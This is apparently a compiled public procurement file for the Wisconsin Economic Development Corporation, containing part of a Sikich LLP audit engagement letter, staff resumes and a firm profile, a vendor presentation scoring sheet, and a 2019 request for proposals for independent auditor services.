We appreciate the opportunity to be of service to you and believe this Agreement accurately summarizes
the significant terms of our engagement. If you have any questions, please let us know.
Very truly yours,

By: Daniel A. Berg, CPA
Partner
On behalf of Sikich LLP
RESPONSE:
This letter correctly sets forth the understanding of the Wisconsin Economic Development Corporation.

By:

__________________________________________________________

Title:

__________________________________________________________

Date:

__________________________________________________________

Addendum 1
Schedule of Fees
Our fee for these services, consistent with our proposal dated February xx, 2019, will not exceed:
Audit of the financial statements of the Corporation
for the year ending June 30, 2019 (plus out of pocket
costs)
Single Audit, performed in accordance with
Government Auditing Standards and provisions of the
Uniform Guidance
Penetration Testing (IT Audit)

$XX,XXX

$X,XXX
$XX,XXX

These fees are based on anticipated cooperation from your personnel and the assumption that
unexpected circumstances will not be encountered during the audit. If significant additional time
is necessary, we will discuss it with you and arrive at a new fee estimate before we incur the
additional costs.

DANIEL A. BERG
CPA

Partner
Daniel A. Berg, CPA, is a partner on Sikich's governmental services team.
With more than 35 years of experience in public accounting, Dan concentrates
on all areas of accounting, auditing, financial reporting, budget development,
revenue and expenditure forecasting, cash and debt management and cable
television franchise agreed-upon procedures. He has participated in more than
1,100 audits of municipalities and other governmental units.
In addition to his client responsibilities, Dan has developed training materials
and served as lead instructor for governmental accounting, auditing and
financial reporting training courses for internal staff and external audiences,
including the Illinois and Wisconsin Government Finance Officers Association,
Illinois Association of Park Districts, Illinois Municipal Treasurers Association,
Illinois Institute of Technology, Northern Illinois University, the Park District
Risk Management Agency and various library systems.
SERVICE AREAS
 Governmental Audit, Accounting
 Governmental Financial Reporting
AFFILIATIONS
 Illinois CPA Society
 Government Finance Officers Association, Special Review Committee
 Illinois Government Finance Officers Association
 Wisconsin Government Finance Officers Association
 Illinois Association of Park Districts
EDUCATION
 Bachelor's Degree in Accounting, Benedictine University

LOCATION:
NAPERVILLE OFFICE

1415 W. Diehl Rd
Suite 400
Naperville, IL 60563
P: 630.566.8535
F: 630.236.4665
dan.berg@sikich.com

FREDERICK G. LANTZ
CPA

Partner-in-Charge, Government Services
Frederick G. Lantz, CPA, is responsible for providing technical services to
Sikich's clients in all areas of governmental accounting, auditing, financial
reporting, budget development, revenue and expenditure forecasting, and
cash and debt management. Prior to joining Sikich, Fred was the assistant
director for the Technical Services Center of the Government Finance Officers
Association of the United States and Canada (GFOA), where he was a
nationally recognized expert in the state and local government industry. At
GFOA, Fred was responsible for managing the Certificate of Achievement for
Excellence in Financial Reporting Program, providing accounting, auditing and
financial reporting assistance to state and local government officials and their
auditors, and serving as a liaison to the Governmental Accounting Standards
Board. Fred also developed courses and served as lead instructor for
governmental accounting, auditing and financial reporting training courses. He
is a nationally recognized speaker, having spoken at state GFOA and CPA
Society meetings and conferences.
SERVICE AREAS
 Governmental Audit, Accounting
 Governmental Financial Reporting
AFFILIATIONS
 American Institute of Certified Public Accountants
2014-2015 State & Local Government Expert Panel
 Illinois CPA Society
 Government Finance Officers Association, Special Review Committee
 GASB Pension Task Force
 Illinois Government Finance Officers Association
2004-2006 Executive Board of Directors, Technical Accounting Review Committee
 Wisconsin Government Finance Officers Association
 National Association of College and University Business Officers
 Central Association of College and University Business Officers
 Illinois County Treasurers' Association
 Illinois Tax Increment Association
 Illinois Municipal Treasurers Association
 Illinois City/County Management Association
 International City/County Manager's Association
EDUCATION
 Bachelor's Degree in Accounting, Northern Illinois University
 Graduate of Advanced Government Finance Institute,
University of Wisconsin at Madison

LOCATION:
NAPERVILLE OFFICE

1415 W. Diehl Road
Suite 400
Naperville, IL 60563
P: 630.566.8557
F: 630.499.7557
fred.lantz@sikich.com

JAMES R. SAVIO
CPA, MAS

Partner
James R. Savio, CPA, MAS, is responsible for providing technical services to
Sikich's governmental clients in all areas of governmental accounting,
auditing, financial reporting, revenue and expenditure forecasting and cash
and debt management. Jim has participated in hundreds of audits of
municipalities and other governmental units since he began his career with
Sikich in 1995. He has also been responsible in developing and serving as
lead instructor for governmental accounting, auditing, financial reporting and
cash management courses both internally and externally. Jim serves on the
Illinois Government Finance Officers Association's Technical Accounting
Review Committee and the Illinois CPA Society Governmental Executive
Committee. Jim also serves as a committee member for Sikich's mentoring
program and assists in the development and implementation of Sikich's new
hire training program.
SERVICE AREAS
 Governmental Audit, Accounting
 Governmental Financial Reporting
AFFILIATIONS
 American Institute of Certified Public Accountants
 Illinois CPA Society, Governmental Executive Committee
 Illinois Government Finance Officers Association
Technical Accounting Review Committee
 Community Foundation of the Fox River Valley
Scholarship Program Committee
 Greater Aurora Chamber of Commerce Leadership Academy,
Class of 1998
EDUCATION
 Master of Accounting Sciences, Northern Illinois University
 Bachelor's Degree in Accounting, Northern Illinois University

LOCATION:
NAPERVILLE OFFICE

1415 W. Diehl Road
Suite 400
Naperville, IL 60563
P: 630.566.8516
F: 630.499.5656
jim.savio@sikich.com

BRAD LUTGEN
Technology Partner, Security and Compliance
Based in our Milwaukee office, Brad is the partner in charge of the firm’s
cybersecurity division. Brad leads a team of passionate information security
professionals who conduct penetration testing, vulnerability scanning, security
training and security and compliance assessments. Brad enjoys being a
trusted security advisor to Sikich clients and helping them to not only meet
their compliance mandates but also improve their overall security posture. He
and his team work with a wide range of clients across many industry verticals,
from small businesses to Fortune 100 companies, to tailor security solutions to
the budget and needs of each.
Brad has over 13 years of experience in the information security field, having
previously served as a Director with 403 Labs prior to it being acquired by
Sikich. He has extensive experience in numerous technology areas and
compliance standards, including in the payment card industry (PCI), the
National Institute of Standards and Technology (NIST) special publications,
and the Health Insurance Portability and Accountability Act (HIPAA).
SERVICE AREAS
 Security and Compliance, Technology
AFFILIATIONS
 Midwest Cyber Security Alliance, Advisory Board Member
 InfraGard (partnership between private business and FBI)
 Information Systems Security Association (ISSA)
EDUCATION
 Bachelor’s Degree in Advertising and Marketing,
University of Wisconsin-Whitewater

LOCATION:
MILWAUKEE OFFICE

13400 Bishops Lane
Suite 300
Brookfield, WI 53005
P: 262.244.7331
F: 866.820.1311
brad.lutgen@sikich.com

DEBI KOZENIECKI
CPA

Manager
Debi Kozeniecki, CPA, has more than four years of public accounting experience
and has worked extensively with governmental and not-for-profit entities,
including those receiving federal and state funding. She is a dynamic part of the
accounting and auditing team and assists clients in various areas including:
 Financial audits of governmental entities
 Financial audits, reviews and compilations of not-for-profit organizations
and non-public companies
 Single audit and grant compliance
 Internal control review and analysis
LOCATION:
SERVICE AREAS
 Audit and Accounting
 Audits of Governmental Entities
 Audits of Not-for-Profit Organizations
 Single Audits in Accordance with Uniform Guidance
AFFILIATIONS
 American Institute of Certified Public Accountants
 Wisconsin Institute of Certified Public Accountants
 Government Finance Officers Association
 Wisconsin Government Finance Officers Association
 Illinois Government Finance Officers Association
EDUCATION
 Bachelor's Degree in Business Administration - Accounting,
University of Wisconsin – Whitewater
 Master's Degree in Professional Accountancy,
University of Wisconsin – Whitewater

MILWAUKEE OFFICE

13400 Bishops Lane
Suite 300
Brookfield, WI 50035
P: 262.754.9400 x277
F: 262.754.9401
debi.kozeniecki@sikich.com

STATE & LOCAL GOVERNMENT RESOURCES
FREDERICK G. LANTZ
CPA
Partner-in-Charge
Government Services
630.566.8557
fred.lantz@sikich.com

RAYMOND E. KROUSE
JR.

BRIAN D. LEFEVRE

CPA
Partner-in-Charge
Uniform Guidance
630.566.8515
ray.krouse@sikich.com

CPA, MBA
Partner
630.566.8505
brian.lefevre@sikich.com

DANIEL A. BERG

JAMES R. SAVIO

ANTHONY M. CERVINI

CPA
Partner
630.566.8535
dan.berg@sikich.com

CPA, MAS
Partner
630.566.8516
jim.savio@sikich.com

CPA, CFE
Partner
630.566.8574
anthony.cervini@sikich.com

CPA
Accounting Services Senior
Manager Government
Employee and Payroll
Consultant
630.566.8529
debbie.crabtree@sikich.com

JASON ASKIN

TOM SIWICKI

CPA, MBA
Director
630.566.8401
jason.askin@sikich.com

CPA
Senior Audit Manager
630.566.8433
tom.siwicki@sikich.com

NICK BAVA

LINDSEY FISH

SARAH MONTANARI

CPA, MAS
Audit Manager
630.210.3092
nick.bava@sikich.com

CPA
Audit Manager
630.210.3142
lindsey.fish@sikich.com

CPA, MAS
Audit Manager
630.566.8412
sarah.montanari@sikich.com

DEBBIE CRABTREE

MARTHA TROTTER
CPA
Audit Manager
630.566.8581
martha.trotter@sikich.com

OTHER RESOURCES
KAREN S. SANCHEZ
CPA, QPA
Partner
Resource – Employee Benefits
630.566.8519
karen.sanchez@sikich.com

JOY DUCE
Partner – Human
Resources Consulting
630.566.8454
joy.duce@sikich.com

SCOTT WEGNER

BRAD LUTGEN

Partner
Resource – Technology
Services & Products
630.566.8417
scott.wegner@sikich.com

Partner
Resource – Technology
Security & Compliance
262.754.9400
brad.lutgen@sikich.com

SCOTT KOLBE
Partner
Resource – Marketing
Services
630.566.8442
scott.kolbe@sikich.com

MARY O’CONNOR
ASA
Partner
Resource – Fraud
Investigation
312.648.6652
mary.oconnor@sikich.com

State & Local Government Resources

ACCOUNTING, AUDIT & TAX SERVICES

GOVERNMENT
SERVICES

Government agencies are experiencing increasing pressure to be
more effective, efficient and transparent.

OUR EXPERT

As a government leader, you know how important it is to find a premier professional services
partner that can strategize, plan and implement solutions to meet the goals of
your organization.

WHAT CAN SIKICH DO?
• Accounting, Audit, Assurance & Tax

• Insurance Services

• Business Valuation

• IT Services

• Fraud Services for Governments

• Marketing & Public Relations

• ERP & CRM Software

• Pension Fund Accounting & Consulting Services

• Human Resources Consulting

• Retirement Planning

FRED LANTZ

Whether you represent a general purpose local government or special district, Sikich will
help you meet your goals by providing professional guidance in your accounting, marketing,
human resources, technology and other advisory functions.

CPA
PARTNER-IN-CHARGE,
GOVERNMENT SERVICES

T: 630.566.8555
E: fred.lantz@sikich.com

Experience unparalleled commitment and high-quality, timely services when you partner
with the experts at Sikich. For more than 30 years, we have provided:

WHO WE SERVE

• A highly skilled staff and management team entirely dedicated to government services

Our government clients
represent a wide range of
industry sectors including:

• An in-depth understanding of the governmental fiscal, management, operating and
regulatory environments
• Timely and cost-effective service delivery

• Counties

OUR DEDICATED TEAM

• Cities
• Villages
• Townships
• Other Special Districts
• Pension Plans
• Park Districts

DAN BERG CPA

PARTNER

T: 630.566.8535
E: dan.berg@sikich.com

ANTHONY CERVINI CPA

BRIAN LEFEVRE CPA

• Forest Preserve Districts

T: 630.566.8574
E: anthony.cervini@sikich.com

T: 630.566.8505
E: brian.lefevre@sikich.com

• Community Colleges

PARTNER

PARTNER

• Public Libraries
• School Districts
• Water Authorities
• Water Reclamation Districts
• State Departments and
Agencies

CHAD LUCAS CPA

JIM SAVIO CPA

T: 217.862.1724 x1170
E: chad.lucas@sikich.com

T: 630.566.8516
E: jim.savio@sikich.com

PARTNER
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PARTNER

ANDY LASCODY CPA

PARTNER

T: 217.862.1722 x1125
E: andylascody@sikich.com

877.279.1900 | info@sikich.com

SIKICH.COM

FIRM
PROFILE
SIKICH TOTAL REVENUES

ORGANIZATION
Sikich LLP, a leading professional services firm specializing in accounting, technology,
investment banking* and advisory services**, has 750+ professionals throughout the
country. Founded in 1982, Sikich now ranks as one of the country’s Top 30 Certified
Public Accounting firms and is among the top 1% of all enterprise resource planning
solution partners in the world. From corporations and not-for-profits to state and local
governments, Sikich clients can use a broad spectrum of services and products that help
them reach long-term, strategic goals.

INDUSTRIES
Sikich provides services and solutions to a wide range of industries. We have devoted
substantial resources to develop a significant base of expertise and experience in:
AGRICULTURE

ENERGY

MANUFACTURING
& DISTRIBUTION

CONSTRUCTION
& REAL ESTATE

GOVERNMENT

NOT-FOR-PROFIT

STATISTICS
2017 Revenues . ....................$151.9M
Total Partners ............................. ~100
Total Personnel .......................... 750+
Personnel count as of January 1, 2018

SERVICES

ACCOUNTING, TAX & ASSURANCE
TECHNOLOGY
• Business Application
• Cloud & Infrastructure
• Consulting & Implementation
• Security and Compliance

ADVISORY

• Business Succession Planning
• Insurance Services
• F orensic and Valuation Services
• Human Resources Consulting
• Investment Banking
• Marketing & Design
• Public Relations
•Retirement Plan Services
• Supply Chain
• Wealth Management
* Securities offered through Sikich Corporate Finance
LLC, member FINRA/SIPC.
** Investment advisory services offered through Sikich
Financial, an SEC Registered Investment Advisor.
Securities offered through Triad Advisors, member
FINRA and SIPC. Triad Advisors and Sikich Financial
are not affiliated.

©2018 Sikich LLP. All Rights Reserved.

2018 AWARDS
• Oracle® NetSuite 5 Star Award
•A
 ccounting Today Top 100
Firms - ranked #28 nationally
• Best Places to Work in Illinois
• Best Places to Work in Indiana

• Milwaukee’s Best and Brightest
Companies to Work For®

• Boston’s Best and Brightest
Companies to Work For®

• Chicago’s Best and Brightest
Companies to Work For®

• Bob Scott’s Top 100 Value
Added R
 eseller Stars (VARs) ranked #8

• Microsoft Dynamics Inner
Circle

2017 AWARDS
• Bob Scott’s Top 100 (VARs) ranked #7
•A
 ccounting Today Top 100
VARs - ranked #6
• Vault Accounting Top Ranked
• When Work Works Award
• WorldatWork Work-Life Seal of
Distinction
• Microsoft Dynamics Inner
Circle and President’s Club
• Best Places to Work in Illinois

• Milwaukee’s 101 Best
and Brightest Companies
to Work For®
• Best Places to Work
in Indiana
• Chicago’s 101 Best and
Brightest Companies
to Work For®
•M
 ilwaukee Journal Sentinel Top
Workplaces in Milwaukee
•C
 hicago Tribune’s
Top Workplaces

•C
 rain’s List Chicago’s Largest
Privately Held Companies ranked #234
• Boston’s 101 Best and
Brightest Companies
to Work For®
• National Best and Brightest in
Wellness
• National Best and Brightest
Companies to Work For

2016 AWARDS
•A
 ccounting Today Top Regional • INSIDE Public Accounting Top
Leaders and Firms: Great
50 Largest Accounting Firms Lakes - ranked #4
ranked #31 nationally

• Boston’s 101 Best and
Brightest Companies to
Work For®

•M
 ilwaukee Business Journal
Largest Management
Consulting Firms ranked #10

• US Small and Mid-Sized
Business (SMB) Champions
Club Heartland Partner of
the Year, Microsoft’s US SMB
Champions Club

•M
 ilwaukee Business Journal
Largest Milwaukee-Area
Accounting Firms ranked #8
• Inc. 5000 - ranked #4613

• Milwaukee’s 101 Best and
Brightest Companies to
Work For®
• WICPA Excellence Award Public Service Award
•A
 ccounting Today Top 100
VARs - ranked #7

•M
 ilwaukee Journal Sentinel Top
Workplaces in Milwaukee

• Bob Scott’s Top 100 VARs ranked #7

877.279.1900 | info@sikich.com
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FIRM PROFILE
CERTIFICATIONS
All professional accounting staff with more than one year of experience have earned or are working toward earning the Certified
Public Accountant designation. Sikich is a member of the American Institute of Certified Public Accountants’ Governmental Audit
Quality Center and the Employee Benefit Plan Audit Quality Center. We adhere to the strict requirements of membership which assure
we meet the highest standards of audit quality. In 2017 Sikich LLP received its 10th consecutive unmodified (“pass”) peer review
report, the highest level of recognition conferred upon a public accounting firm for its quality control systems.

MICROSOFT PARTNER
Sikich has earned a Microsoft ERP Gold competency; ranked among the top one percent of all Microsoft Dynamics partners
worldwide; and carries the following certifications:
•M
 icrosoft Small Business Specialist

• CISA (Certified Information
Systems Auditor)

•M
 CP (Microsoft Certified Professional)

• CNE (Certified Novell Engineer)

•M
 CSE (Microsoft Certified
System Engineer)

• MS CSM (Microsoft Customer
Service Manager)

• CCNA (Cisco Certified
Network Associate)
• CCDA (Certified Cisco Design Associate)
• CCEA (Citrix Certified
Enterprise Administrator)
•M
 RMS (Microsoft Retail
Management Systems)

• MS CAE (Microsoft Certified
Account Executive)
• MCDBA (Microsoft Certified
Database Admin)
• Certified for Microsoft Dynamics (NAV)

SIKICH IS PROUD TO BE PART OF:
THE LEADING EDGE ALLIANCE
The Leading Edge Alliance (LEA) is the second largest international association of independent
accounting firms.* The LEA is an international professional association of independently-owned
accounting and consulting firms. Members are top quality firms who share an entrepreneurial spirit
and a drive to be the premier provider of professional services in their chosen markets. The Alliance
provides Sikich with an unbeatable combination: the comprehensive size and scope of a large
multinational company while offering their clients the continuity, consistency, and quality service
of a local firm.
*International Accounting Bulletin, 2011

PRIMEGLOBAL
PrimeGlobal is one of the top five largest associations of independent accounting firms in the
world, providing a wide range of tools and resources to help member firms furnish superior
accounting, auditing, and management services to clients around the globe.

LOCATIONS
Akron, OH
(330) 864-6661

Decatur, IL
(217) 423-6000

Kansas City, MO
(816) 673-7534

Phoenix, AZ
(480) 626-0072

Boston, MA
(508) 485-5588

Denver, CO
(720) 200-0142

Milwaukee, WI
(262) 754-9400

Rockford, IL
(815) 282-6565

Chicago, IL
(312) 648-6666

Ft. Wayne, IN
(260) 485-0665

Minneapolis, MN
(763) 445-2632

Springfield, IL
(217) 793-3363

Columbus, OH
(614) 633-5270

Indianapolis, IN
(317) 842-4466

Naperville, IL
(630) 566-8400

St. Louis, MO
(314) 275-7277

©2018 Sikich LLP. All Rights Reserved.
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Presentation Scoring Sheet

DataChat

OVERALL EXPERIENCE OF COMPANY
Provide the following minimum information in
presentation form:
- Brief overview of your company culture and philosophy
- Brief introductions of the team members that will be
assigned to our account.
- Clear understanding
of working relationship/client
TECHNICAL
SOLUTION UNDERSTANDING
Ability to explain how proposed solution from RFP will
actually work to deliver an optimal experience to meet our
requirements AND scale for future enhancements.

SERVICE LEVEL AGREEMENT/MAINTENANCE
Clarity on definition of needs, i.e. maintenance vs.
enhancements and how support post launch will be
managed. Clarify around ongoing scope management.

Score
20

Entrision
18

Comments Although DataChat is a startup, they are partnering
with Town Web to deliver the solution. Their
experience as a whole is solid. Overall, high marks for
their presentation. Was detailed and went beyond
their RFP and beyond the questions we posed.
23
25
Comments
Their experience with data and data science as well as
the proposed solution to overlay AI advances the
interface and user experience we would go to market
with. It sends an "innovation" message and enables
opportunity for expanded promotion.

Skyline
11

Experienced and showcased some examples that
appear would be relevant to our needs.

Foremost
16

Overall solid experience and great references. The
presentation was lacking in that it didn't go beyond the
questions we asked. It seems they don't have to
typically pitch new business.

Capable and good examples of relevant experience.

13

20

Solution was limiting with Kentico and the scope was
defined as delivering a minimally viable product spec'd
Custom software application although using
at the very narrow definition of what was in the RFP.
established software. Heavy data back end. Complex
Relative to others, it didn’t take the recommondation
layers for their proposed solution set.
beyond what was being asked. Also, it seemed system
emails were limiting. In addition, they expected WEDC
to post all the content that was non-database related.
23
15
16

25
Comments Clear escalation plan. Follow-up clarity provided as
follows on enhancements vs. maintenance:
"As for maintenance, we do not put a cap on
maintenance hours. If we need to issue a fix to the
website, our team spends as many hours as needed to
resolve any issues. This way, your team does not need
to worry about additional charges for maintenance."
23
25
Comments

Pivital Tracker - High (System Outage), Medium
(Ticket), Low (Ticket) Support Time is 4 hours per
month. The hours do roll over up to a certain point.
99.95% uptime.

16

Thorough review of support 24x7 at $27,000yr that
includes 45hrs per quarter of dev work. Overall, not a
lot flexibility because the platform would be designed
on a CMS that had fixed features.

18
Although they provided some clarity of their solution, it
was still complex in the amount of layers of different
tool sets they plan to use. Yet they did understand our
request and seemed comfortable in delivering at an
even shorter time frame than requested.
22
Dedicated support team and ticketing system to track
issues. They don't charge for fixing something that was
in scope buy may have not been done correctly. Their
philospophy is if something is "broken", it's on them to
fix it.

13
22
Cost was reasonable, but based on what we would be
Project Cost $160,625 for not anything more than
Cost breakdown was very detaild and they were the
"getting" it scored low. Qualified the deliverable as
anyone else is offering. High cost is due to the fact that "minimally viable product".
lowest bidder:
Project Cost $60,000
it's a custom design.
Project Cost $55,842 - Dev and Design
$12,000/yr - Hosting
$3,600/yr - Hosting
$800/yr - Hosting
Project Cost $85,763 - dev/design, including approx
Maintenance available at no cost (24x7 support) with
$200/yr - SSL
$5,000 licensing fees for Kentico.
$89/hr for enhancements
$5,500/yr - Maintenance (4hrs/mo = $114/hr)
$4,752/yr - maintenance ($99/hr)
$27,000/yr - maintenance and account support;
$114/hr for dev work
45hrs/quarter which would include dev work
$3,000/yr - hosting
5
2
2
4
5
Comments
Overall solution is VA, but offered up an automation
No real value-add provided other than the depth of
Provided an option (for not much additional cost) to
marketing option to promote engagement with WSCM. No real value add except a map visual of suppliers
their data analytics and other integrated service
distribute directory across other platforms.
Limited cost of $5K.
offering

COST BREAKDOWN

Value Add

TOTAL

100

92

8

49

67

82

REQUEST FOR PROPOSALS
FOR

INDEPENDENT AUDITOR SERVICES

ISSUED BY:
WISCONSIN ECONOMIC DEVELOPMENT CORPORATION
ON: FRIDAY, FEBRUARY 8, 2019

All questions regarding this RFP must be submitted in writing to Natalya Krutova, Controller at
natalya.krutova@wedc.org by Friday February 27, 2019, at 4:00 pm CT.

PROPOSALS MUST BE SUBMITTED BY:
THURSDAY, MARCH 7, 2019, 4:00 PM CT

To:
Natalya Krutova, Controller
Wisconsin Economic Development Corporation
201 West Washington Avenue, 6th Floor
Madison, WI 53703

I. Scope
The purpose of this Request for Proposals (RFP) is to provide interested proposers with the information
needed to prepare and submit a proposal for the following:
Independent financial auditing services for the Wisconsin Economic Development Corporation.
The independent auditor selected under this RFP will complete an annual external financial audit for the
fiscal years ending June 30, 2019, 2020, and 2021. The audit will be presented to the Wisconsin Economic
Development Corporation’s Audit Committee and the Board of Directors.
The audit conducted under this RFP must include the following:
a. A Statement of Work to be approved by the Controller and staff at least one week prior to the
commencement of the audit.
b. An entrance conference to review the scope with the Controller and staff, prior to the beginning
of field work.
c. An exit conference to find consensus on audit findings with the Controller and staff.
d. A meeting with the Audit Committee.
e. A draft of the auditor’s required communications submitted to the Controller within two weeks
of the exit conference. In addition, detail of audit findings, if any, shall be provided along with
the management response and an action plan, if appropriate.
f. A presentation to the Board of Directors to discuss audit results.
The audit conducted under this RFP may also include any of the following for additional fees, as provided
in your response:
a. Federal Single Audit meeting the regulatory requirements in effect during the period under
review.
b. Penetration Testing (IT Audit) to include external penetration testing, internal penetration
testing, and wireless penetration testing.
c. Agreed Upon Procedures (AUP) Engagements.
All work performed under this RFP must be completed by September 30 of each fiscal year, with the
following deliverables provided as the completed as a minimum work product:
a. A full and complete audit report (auditor’s required communications).
b. Financials, including:
• A statement of net assets;
• A statement of revenue, expenditures, and change in net assets; and
• A statement of cash flows
c. Notes to financial statements
d. A full and complete federal single audit report, if engaged to perform.
e. A full and complete penetration test report, if engaged to perform.
The auditor will generate a weekly report to monitor the status of the audit. This report will be provided to
the Controller and will include, but not be limited to, the status of the audit.
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II. Project Timeline
The work needed to be completed under this RFP is subject to tight timing constraints. Proposers responding
to this RFP must be prepared to conform to the following timeline. If this timeline is prohibitively
restrictive, please indicate such and propose an alternate timeline.
Date
February 8, 2019
February 27, 2019, 4:00pm
March 7, 2019, 4:00pm
Mid to Late March 2019
Late March 2019

Event
RFP Issued
Deadline to Submit Questions
Proposals Due
WEDC May Interview Proposers
Audit Committee Review of Proposals

III. Wisconsin Economic Development Corporation
The Wisconsin Economic Development Corporation (WEDC) is a public body corporate and politic
governed by Chapter 238 of the Wisconsin Statutes. WEDC was created under 2011 Wisconsin Act 7 and
2011 Wisconsin Act 32 to replace the economic and community development operations of the former
Wisconsin Department of Commerce and to serve as the State of Wisconsin’s lead economic development
organization. WEDC is governed by a Board of Directors. WEDC’s Chief Executive Officer is appointed
as directed by statute.
WEDC provides financial and technical assistance and services to businesses and organizations in
Wisconsin for the purpose of strengthening economic development and creating and retaining jobs. As of
June 30, 2018, WEDC had approximately 121 employees and operating expenditures for FY 18 totaled
approximately $44,806,000. Revenues to finance its operating budget are derived primarily from state
appropriations, loan repayments and other income.
WEDC operates six economic and community development divisions and ten finance and administrative
departments primarily in the Madison, Wisconsin location. WEDC provides grants, loans, loan guarantees,
tax credits and other financial and technical assistance to its customers. WEDC utilizes the Intacct
accounting system as well as Salesforce and Enable as a grant and loan administration/management system.
WEDC’s fiscal year ending June 30, 2012 was the first year of operations and the first year audited.
Documents relevant to that audit will be made available to interested proposers.
IV. Proposal Requirements
Proposers responding to this RFP must provide sufficient responses to all of the below requests for
information. Failure to respond to any of the requests may result in disqualification of the proposal.
a. Mandatory Requirements
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i.

ii.

iii.

Proposers must be independent accountants or auditing managers. The partner or
manager with oversight responsibility and the in-charge and onsite professional(s)
must have the actual required experience.
Provide a statement indicating that examinations will be performed in accordance with
generally accepted auditing standards as promulgated by the American Institute of
Certified Public Accountants (AICPA) and the Standards for Professional Practice of
Internal Auditing as promulgated by the Institute of Internal Auditors (IIA).
Proposers must have a minimum of seven years of experience in providing similar
services.

b. Organizational and Staff Capabilities
i.
Provide a brief description of the proposer’s history and organization.
ii.
Describe the proposer’s experience providing auditing services (financial statement
opinions, federal single audits, penetration testing (IT Audit), and agreed upon
procedures). Please highlight experience providing such services to public-private state
agencies and entities that provide financing services such as grants, loans, and tax
credits.
iii.
Provide a list of at least three relevant audit engagements held by the proposer which
indicates relevant experience.
iv.
Describe the proposer’s GASB experience and experience with component units.
v.
Provide a list of all staff persons who will be involved in carrying out the tasks covered
by this RFP, describing each in terms of their involvement in specific tasks and
qualifications.
vi.
Provide a resume for each staff person proposed to provide auditing services under this
RFP; each resume must include the qualifications, background, and experience of the
staff person.
vii.
Provide a list of any subcontractors (individual or organizational) that the proposer
intends to use when providing services under this RFP (Note: the proposer is not
required to use subcontractor(s). However, no subcontractor may be used without
WEDC’s written approval.)
c. Technical Requirements/Approach to the Project
i.
Describe, in detail, the proposer’s technical approach to the project as outlined in
Section I “Scope” of this RFP
ii.
It is important that the audit work is completed, and the audit report produced by
September 30th of each fiscal year to ensure WEDC’s timely submission for the
State’s Comprehensive Annual Financial Report. Audit work will be able to commence
in August of each fiscal year after the award has been approved by WEDC’s Board of
Directors. Provide a timeline for conducting the work under this RFP, including any
interim field work or testing that can be done prior to the closing of the books.
iii.
Describe the back-up plan for completing the work according to the timeline should
something happen to the main partner or staff assigned to this project.
iv.
Describe the WEDC staff resources required for preparing the audit under this RFP.
Please include an estimated number of WEDC staff hours anticipated and a
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v.

vi.
vii.
viii.

comprehensive list of items expected to be Prepared by Client (PBC). Also describe,
in detail, information that WEDC will be required to provide to facilitate the audit work
and that WEDC may compile in advance of the start of field work.
WEDC is able to provide onsite room space, telephone, and internet connectivity to
auditors working on the project. Additionally, WEDC is able to share all PBC via a
cloud or cloud like resource (currently SharePoint) that can be accessed by the auditors
via the internet. List any additional items or resources the proposer’s staff will require.
Provide a description of any special expertise or experience the proposer has which
will be available to WEDC as part of the regular audit contract.
Provide a copy of the proposer’s most recent external quality control review report.
Provide a brief description of any controversies or lawsuits in which the proposer is
currently involved or to which the proposer has been a party during the past five years.

d. Draft Contract Documents
Proposers shall submit draft contract documents from which negotiations may begin should the
proposer be selected for the ultimate contract award.
e. Other Items
Please describe items not included in the scope of work under this RFP that the proposer
recommends be completed. Include the price for any such extra items in the Cost Proposal as
additional costs.
V. Cost Proposal
Proposers should provide a fixed cost proposal for the required fiscal year 2019 auditing services,
including federal single audit and IT penetration testing, to be provided under this RFP, including
anticipated out of pocket costs. The cost proposal should include the estimated number or hours and
the billing rate for each level of team member assigned to the engagement. The cost proposal shall be
a not to exceed the total cost for the services to be provided under this RFP. Please breakout costs
between the external financial audit, federal single audit, and IT penetration testing. Costs for any
agreed upon procedure services will be agreed upon when, and if, the services are needed.
VI. Terms and Conditions
The following terms and conditions affect responses to this RFP and any resulting contract. These terms
shall be adhered to by any interested proposer and are non-negotiable.
a. Contract Term
The contract will cover the provision of auditing services for the fiscal years ending June 30,
2019, 2020, and 2021. The contract may be renewed for two one-year periods by mutual
consent.
b. Conflict of Interests
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Proposers’ response to this RFP must include, in writing, the disclosure of any potential conflict
of interests that may arise from proposer’s performing auditing services for WEDC. Any
resulting contract will require that if a vendor fails to disclose a potential conflict of interest,
and if WEDC determines such failure to disclose involves a material conflict of interest, the
vendor’s contract may be declared to be void by WEDC and any amounts paid under the
contract may be recovered by WEDC. Vendors shall advise WEDC of any changes in potential
conflicts of interest.
c. Nondiscrimination
Pursuant to Wisconsin law, any contract resulting from this RFP will include the following
language regarding nondiscrimination:
In connection with the performance of work under this contract, Licensor agrees not to
discriminate against any employee or applicant for employment because of age, race,
religion, color, handicap, sex, physical condition, developmental disability as defined
in § 51.01(5), sexual orientation or national origin. This provision shall include, but not
be limited to, the following: employment, upgrading, demotion or transfer; recruitment
or recruitment advertising; layoff or termination; rates of pay or other forms of
compensation; and selection for training, including apprenticeship. Except with respect
to sexual orientation, Licensor further agrees to take affirmative action to ensure equal
employment opportunities. Licensor agrees to post in conspicuous places, available for
employees and applicants for employment, notices to be provided by the recipient
officer setting forth the provisions of the nondiscrimination clause.
d. Public Records
Responses to this RFP, any communication with WEDC, and any resulting contract and work
product are subject to the public records laws of the State of Wisconsin, § 19.31 et seq.
Proposers shall mark documents “confidential” where appropriate for financial and other
sensitive materials that should be, to the extent possible, be kept in confidence. WEDC will
notify the proposer if it receives a public records request for materials marked confidential.
e. Insurance
If awarded the contract, the proposer shall maintain Worker’s Compensation, Comprehensive
General Liability, including Contractual Liability, and Automobile Liability insurance for any
claims that may arise from operations under the contract.
VII.

RFP Process
a. Reasonable Accommodations
WEDC will provide reasonable accommodations, including the provision of informational
material in an alternative format, for individuals with disabilities upon request.
b. Communication with WEDC & Submitting Questions
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All communication regarding this RFP shall be directed to WEDC’s Controller, Natalya
Krutova at natalya.krutova@wedc.org. Information regarding this RFP obtained from other
sources is unofficial and nonbinding. Communication with other sources may be cause for
rejection of a proposal. All questions regarding this RFP must be submitted in writing to
WEDC’s Controller, Natalya Krutova by Friday, February 27, 2019, at 4:00 p.m. CT.
c. Incurring Costs
WEDC is not Liable for any cost incurred by a vendor for responding to this RFP.
d. News Releases
News releases pertaining to the RFP, the acceptance, rejection, or evaluation of proposals shall
not be made without the prior written approval of WEDC.
e. Submitting the Proposal
Proposers shall submit an electronic, PDF, version of their Proposal, along with four hard
copies of their proposal to WEDC's Controller, Natalya Krutova, no later than Thursday,
March 7, 2019, at 4:00 p.m. CT. Both the electronic and hard copies must be received for the
proposal to be submitted on time. Proposal responses should follow the sequence and outline
presented in this RFP. Proposals shall be delivered to:
Natalya Krutova, Controller
Wisconsin Economic Development Corporation
